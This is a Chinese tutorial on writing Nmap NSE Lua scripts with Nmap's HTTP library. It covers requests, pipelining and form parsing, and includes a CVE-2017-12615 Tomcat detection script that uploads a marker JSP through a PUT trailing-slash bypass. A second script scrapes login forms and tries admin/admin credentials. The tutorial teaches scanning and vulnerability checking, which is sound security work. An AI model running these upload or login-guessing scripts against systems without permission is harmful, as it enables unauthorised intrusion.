由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,一叶知安以及文章作者不为此承担任何责任。
一叶知安拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经一叶知安允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。
首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:
响应表
响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等
Response: status: 200 header: content-length: 0 allow: POST,OPTIONS,HEAD,GET connection: close content-type: text/html server: Apache/2.4.29 (Debian) date: Fri, 06 Jul 2018 07:02:13 GMT ssl: false body: cookies: status-line: HTTP/1.1 200 OK\x0D rawheader: Date: Fri, 06 Jul 2018 07:02:13 GMT Server: Apache/2.4.29 (Debian) Allow: POST,OPTIONS,HEAD,GET Content-Length: 0 Connection: close Content-Type: text/html version: 1.1
Options表
Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向
{ timeout: header:{"Content-Type":"",...}, cookies:{{"name","value","path"},...}, auth:{username:"",password:""}, bypass_cache:true, no_cache:true, no_cache_body:true, any_af:true, redirect_ok:true }
引入HTTP包:
local http = require "http"
确认目标主机的HTTP服务是否支持HEAD
这里主要使用can_use_head函数,参数有4个,函数原型如下:
local status,header = can_use_head(host,port,result_404,path)
参数说明:
host : host表
port : port表
result_404 : 由identify_404函数确认当前Web服务器是否设置了404页面且返回200状态码,一般情况下填写404或者nil。
path : 请求路径,默认为“/”根目录
其中status是一个布尔值,如果返回true则支持HEAD,返回false则不支持
header是HEAD请求的结果。
需求:确认目标主机是否支持HEAD,如果支持则输出响应头
local stdnse = require "stdnse" local http = require "http" prerule=function() end hostrule=function(host) return false end portrule=function(host,port) if(port.number == 80) then return true end return false end action = function(host,port) local result local status = false status,result = http.can_use_head(host,port,404,"/") if(status) then http_info = stdnse.output_table() http_info.header = result.header http_info.version = result.version return http_info end end postrule=function() end
代码解读:
看完代码读者可能会有疑问,hostrule函数为什么返回false?
在hostrule中返回false是因为如果是true会自动调用action,此时port的值是nil,所以会抛出一些错误。
紧接着就是将端口号为80的host和port交给action函数执行,调用can_use_head函数,判断status是否为true,是true则支持HEAD方法请求。最后生成一个output_table,用来将响应内容填入这个表,以便于格式化显示。
如果只想取得目标主机响应的server,我们可以这样写:
…… action = function(host,port) local result local status = false status,result = http.can_use_head(host,port,302,"/") if(status) then http_info = stdnse.output_table() http_info.header = result.header http_info.version = result.version http_info.server = result.header["server"] return http_info end end ……
执行结果如下:
generic_request是一个最基本的发送HTTP请求的函数,参数有以下几个:
host : host表
port : port 表
method : HTTP方法,例如:GET、POST、HEAD…
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
例如:
发送一个OPTIONS请求,来获取目标服务支持哪些HTTP方法
local stdnse = require "stdnse" local http = require "http" prerule=function() end hostrule=function(host) return false end portrule=function(host,port) if(port.number == 80) then return true end return false end action = function(host,port) local result = http.generic_request(host,port,"OPTIONS","/",nil) if(result.status == 200)then local allow_method = stdnse.output_table() allow_method.allowMethods = result.header["allow"] return allow_method end end postrule=function() end
执行结果如下:
返回值:
该函数返回一个响应表,具体可参考前面的0X02响应表
get函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:
host : host表
port : port 表
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
除了比generic_request函数中少了一个method参数,其他相同。
local stdnse = require "stdnse" local http = require "http" prerule=function() end hostrule=function(host) return false end portrule=function(host,port) if(port.number == 80) then return true end return false end action = function(host,port) local result = http.get(host,port,"/nmap") if(result.status == 404)then local status = stdnse.output_table() status.response_line = result["status-line"] return status end end postrule=function() end
执行结果:
返回值:
该函数返回一个响应表,具体可参考前面的0X02响应表
post函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:
host : host表
port : port 表
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
ignored : 是否忽略向后兼容性
postdata : post提交数据,可以是一个表,也可以是一个字符串,具体形式如下:
username=admin&password=admin 或者: local data = {} data.username = "admin" data.password = "admin
尝试使用账号密码登录某个系统
用php脚本语言写一个简单登录判断的页面:
<?php if(isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST["username"]; $password = $_POST["password"]; if($username == "admin" && $password == "admin"){ echo "login success !"; }else{ echo "login failed !"; } }else{ echo "please login !"; } ?>
通过post函数提交username与password,然后获取body判断是否登录成功
…… action = function(host,port) local cert = {} cert.username="admin" cert.password="admin" local result = http.post(host,port,"/index.php",nil,true,cert) if(result.status == 200)then local status = stdnse.output_table() status.response_line = result["body"] return status end end ……
执行结果:
返回值:
该函数返回一个响应表,具体可参考前面的0X02响应表
为了检验读者对之前的内容是否有所收获,所以产生一个需求,编写一个针对CVE-2017-12615的漏洞检测脚本。首先我们需要了解这个漏洞:
编写CVE-2017-12615的漏洞检测脚本
攻击者可以利用这个漏洞,向目标服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
漏洞的利用方式是通过PUT请求,这让我们不得不学习一个新的函数——put函数,它的参数类似于post函数
host : host表
port : port 表
path : 请求路径,默认是根路径“/”
options : 用于设置请求相关的Cookie、超时时间、header
putdata : 要上传的文件的内容
这里我使用Docker已经搭建好了一个Tomcat环境:
编写的脚本如下:
local stdnse = require "stdnse" local http = require "http" prerule=function() end hostrule=function(host) return false end portrule=function(host,port) local ports = {80,8080,8090,8899} for i in pairs(ports)do if(port.number == ports[i])then return true end end end action = function(host,port) local shell_name = string.format("/%d.jsp","/",math.random(9999)) local status = stdnse.output_table() local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615") if(put_rsp.status == 201)then status.shell_name = shell_name return status end return false end postrule=function() end
在action函数中,首先生成一个随机的文件名,然后发送PUT请求,判断响应码是否是201。注意,发送PUT请求的时候,文件扩展名后门必须带”/”,是为了绕过tomcat的检测。
执行结果:
使用浏览器访问:
发现CVE-2017-12615这个字符,证明该漏洞的确存在。
当我们需要对HTTP响应内容进行操作的时候,需要学习一些字符串操作函数、HTTP包内的函数。
response_contains函数,用于在响应表中匹配字符串,参数如下:
response : 响应表,可以是(http.get、http.post、http. pipeline_go、http.head等函数的返回值)
pattern : 字符串匹配模式,可参考lua手册
case_sensitive : 是否区分大小写,默认值为false,不区分
返回值:
match_state : 匹配成功为true,匹配失败为false
matchs : 返回一个匹配结果表,前提是match_state为true
了解了这个函数后,我们可以继续将CVE-2017-12615漏洞检测脚本进一步的优化,让脚本判断写入了jsp文件后,判断是否是我们写入的字符串。这样能够使检测脚本的准确度大大提高,下面请看我在action函数中写入的新代码:
…… action = function(host,port) local shell_name = string.format("%sCVE-2017-12615-CHECK-%d.jsp","/",math.random(9999)) local status = stdnse.output_table() local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615") if(put_rsp.status == 201)then status.shell_name = shell_name local response = http.get(host,port,shell_name) if(response and http.response_contains(response,"CVE%-2017%-12615") )then return status end return false end return false end ……
脚本执行结果与上一节中的内容相同,只是多了一次GET请求,为了让读者真正理解这个脚本的执行过程,下面对比一下wireshark流量:
优化前:
首先脚本直接向80端口发送了一个PUT请求,然后服务器响应405,漏洞利用失败。
紧接着脚本又请求了8080端口,服务器响应201,证明漏洞利用成功。
优化后:
通过向8080端口发送PUT请求成功利用后,又向写入文件发送了一次GET请求,获取响应内容,进行字符串匹配,达到更加深度的验证漏洞是否利用成功。
这里说的并发HTTP请求的原理是与目标主机建立一个socket,在每一次发送报文后都不会断开(除了最后一次请求)。平常我们在扩展脚本中调用一个http.get函数,将会返回一个响应表,代表已经获取了目标主机的响应报文,当返回响应表之前就已经与目标主机断开了连接。下一次调用http.get时,还需要进行一次建立连接的过程,导致我们会消耗一定的时间。如果一个扩展脚本需要发送多次请求,可以考虑使用http.pipeline_add与http.pipline_go配合使用。
下面就来介绍这两个函数如何配合使用
http.pipeline_add参数如下:
path : 请求路径
options : 用于设置请求相关的Cookie、超时时间、header
all_requests : (可选值),如果是第一次调用,则为nil,若不是第一次调用,需要传入上一次http.pipeline_add的返回值
method : HTTP方法(GET、POST、HEAD、PUT等),默认为GET
返回值:
一个请求表
path: options: header: Connection: keep-alive _ method: GET
可以有多个,下标从1开始,如果需要查看这个请求列表的结构,可以直接在action函数中return出http.pipeline_add的返回值,代码演示如下:
…… action = function(host,port) local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET") all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET") return all_requests end ……
执行结果:
因为调用了两次http.pipeline_add,所以会产生两个请求列表队列元素,如果只想获取第一个请求队列元素,可以return all_requests[1]。
下面我们要开始将队列交给http.pipeline_go函数,由它来完成所有请求,函数参数如下:
host : host表
port : port 表
all_requests : 由http.pipeline_add函数装在好的请求列表
返回值:
response_list : 响应列表
示例代码:
…… action = function(host,port) local status_lines = stdnse.output_table() local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET") all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET") local all_response = http.pipeline_go(host,port,all_requests) for i,resp in ipairs(all_response)do status_lines[i] = resp["status-line"] end return status_lines end ……
这段代码中添加了两个请求队列元素,分别是:
/index.jsp
/docs/changelog.html
将队列交给http.pipeline_go函数后,返回一个响应列表,all_response[1]对应index.jsp的响应表,all_response[2]对应/docs/changelog.html的响应表。因此可以使用迭代,将每个请求的某个字段放入一个输出表里,本次示例是取得了两次请求队status-line。
执行结果:
关于表单操作,在爬虫、漏洞扫描、爆破时用的较多,一般要先取回目标主机的响应body,然后字符串匹配获得表单结构。但是这些操作在Nmap中已经提供了一些方法,接下来就让我们一起学习http包中的表单操作函数吧。
http. grab_forms 用于在响应内容中查找表单,并返回一个form_list表,参数如下:
body : 响应表中的body
返回值:
form_list : 表单列表
获取页面中的表单列表
我使用apache和php搭建了一个简单的登录界面,尝试通过Nmap的扩展脚本来获取表单列表。
查看一下HTML源码:
可以发现页面中这个表单是提交到index.php的,并且提供了两个输入值,分别是username和password,这种情况下我们完全可以采用lua的字符串匹配模式获得input的name,但是如果页面上有很多表单,这就会增加我们处理数据的压力。
我们来试试http.grab_forms函数:
local http = require "http" prerule=function() end hostrule=function(host) return false end portrule=function(host,port) if(port.number == 80)then return true end end action = function(host,port) local response = http.get(host,port,"/index.php") local login_forms = http.grab_forms(response.body) return login_forms end postrule=function() end
因为http.grab_forms函数接收的是响应表的body,所以需要调用http.get函数将响应表取到,再把响应表的body传递进去。
执行结果:
目前是获得了一个登录表单,注意:返回的是一个表单列表,而不是只能获得一个表单,在登录页面中新添加一个表单后:
再执行脚本观察一下:
如果还想进一步获得input的name值,就要学习另外一个函数—— http. parse_form
参数如下:
form : 表单的明文
返回值:
一个带键的表,分别有:action、method、fields
示例:
test: action: /index.php method: post fields: type: text value: test name: username type: text value: test _ name: password
注意:fields是一个table,不是一个字符串,里面有表单的多个字段
需求:爬取页面表单,并尝试登录
当前页面有两个表单,先尝试一个表单来登录,整体步骤如下:
抓取表单
解析表单
拼接字段
登录
判断是否登录成功
action = function(host,port) local login_table = {} local response = http.get(host,port,"/index.php") local login_forms = http.grab_forms(response.body) local form = http.parse_form(login_forms[1]) for i,name in ipairs(form.fields)do login_table[form.fields[i].name]="admin" end local login_response = http.post(host,port,"/index.php",nil,nil,login_table) if(http.response_contains(login_response,"success"))then login_table.login_status = true return login_table end login_tabke.login_status = false return login_table end
本段代码首先获取index.php的响应表,通过http.grab_forms函数获得登录,将返回值(第一个表单)交给http.parse_from,取得表单fields(字段),然后遍历每一个字段的name,把它填入一个table,最后执行http.post函数,刚好http.post的data可以是一个table也可以是一个字符串。请求完毕后得到登录的响应结果,再由http.response_contains判断是否登录成功,登录成功会出现success字样提示。
为了解决疑惑,我贴出index.php的源代码:
<!DOCTYPE html> <html> <body> <?php if(isset($_POST["username"]) && isset($_POST["password"])) { $username = $_POST["username"]; $password = $_POST["password"]; if($username == "admin" && $password == "admin"){ echo "login success !"; }else{ echo "login failed !"; } }else{ echo "please login !"; } ?> <hr/> <form action="/index.php" method="post"> username:<br> <input type="text" name="username" value="test"> <br> password:<br> <input type="text" name="password" value="test"> <br><br> <input type="submit" value="Submit"> </form> …… </body> </html